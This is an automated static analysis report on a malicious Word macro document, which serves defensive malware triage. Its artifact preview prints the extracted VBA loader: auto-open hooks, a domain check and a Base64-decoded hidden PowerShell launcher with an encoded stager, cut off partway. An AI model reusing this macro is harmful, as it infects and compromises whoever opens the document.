Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ea4ae346373064f…

MALICIOUS

Office (OLE)

179.0 KB Created: 2018-01-10 14:58:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: ba5291d7f33736ad4a0774bf5f00b9b5 SHA-1: 5f220d042f773eded60d3bb8698975f097c19ab3 SHA-256: 3ea4ae346373064f925b54288542d5214500a2d87ccfe0106189eb27912e340b
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros designed to execute automatically upon opening. Critical heuristics indicate an auto-exec loader that decodes and executes a payload. The VBA code attempts to decode a Base64 string, which is likely a second-stage payload, and execute it using GetObject and Shell functions.

Heuristics 10

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10239 bytes
SHA-256: d797116934793c34c50d8379aef43f112a46c3293d9bc15d564a41ab284e17b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
        SetRSI
End Sub

Sub AutoOpen()
        SetRSI
End Sub

Sub Document_Open()
        SetRSI
End Sub
    
    '
    ' 1)
    '
Public Function computeAndSearch(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "computeAndSearch", "Bad Base64 string."
    Exit Function
  End If
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "computeAndSearch", "Bad character In Base64 string."
        Exit Function
      End If
      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next
  computeAndSearch = sOut
End Function

Public Function SetRSI() As Variant
    Dim formula As String
    
    If (StrComp(Environ("USERDOMAIN"), "CORP", vbTextCompare) = 0) Then
        getKPI
    Else
        Exit Function
    End If
End Function

Public Function getKPI() As Variant
    Dim formula As String
    
    '
    ' 2)
    '
    formula = computeAndSearch("cG93ZXJzaGVsbCAtbm9QIC1zdGEgLXcgMSAtZW5jICBTUUJHQUNnQUpBQlFBRk1BVmc=")
    
    '
    ' 3)
    '
    formula = formula + "BlAFIAcwBpAE8AbgBUAEEAYgBsAGUALgBQAFMAVgBFAFIAcwBp"
    formula = formula + "AG8AbgAuAE0AQQBqAG8AcgAgAC0ARwBlACAAMwApAHsAJABHAF"
    formula = formula + "AARgA9AFsAcgBlAEYAXQAuAEEAcwBzAEUATQBCAGwAeQAuAEcA"
    formula = formula + "ZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
    formula = formula + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
    formula = formula + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAEkARQBgAEwARAAiAC"
    formula = formula + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
    formula = formula + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
    formula = formula + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABH"
    formula = formula + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAdABWAG"
    formula = formula + "EAbAB1AGUAKAAkAG4AVQBsAEwAKQA7AEkAZgAoACQARwBQAEMA"
    formula = formula + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
    formula = formula + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
    formula = formula + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
    formula = formula + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
    formula = formula + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
    formula = formula + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
    formula = formula + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
    formula = formula + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
    formula = formula + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBsAD0AWwBDAE8ATA"
    formula = formula + "BsAGUAQwBUAEkAbwBuAFMALgBHAGUATgBlAFIASQBDAC4ARABp"
    formula = formula + "AGMAVABJAE8AbgBBAHIAeQBbAFMAdABSAEkAbgBnACwAUwBZAH"
    formula = formula + "MA
... (truncated)
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1567263903/Ole10Native 3844 bytes
SHA-256: c10c370c13d22d7ac75e5c06e9297bb5dde4cf9b621ddd09ed082252cd84d4ce

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